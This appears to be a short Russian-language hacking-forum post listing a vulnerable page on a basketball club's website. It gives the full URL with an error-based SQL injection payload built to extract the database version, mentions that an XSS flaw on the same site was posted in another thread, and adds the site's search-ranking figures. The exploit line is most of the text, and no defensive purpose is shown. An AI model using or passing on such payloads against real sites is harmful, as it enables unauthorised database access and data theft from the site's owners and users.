http://www.cskabasket.com/news/?a=junior&id=8881+or+(select+count(*)from(select+1 +union+select+2+union+select+3)x+group+by+concat(m id((select+version()),1,64),floor(rand(0)*2)))

XSS присутсвует,в теме "хсс" выкладывали уже )

ТИЦ : 700 PR: 6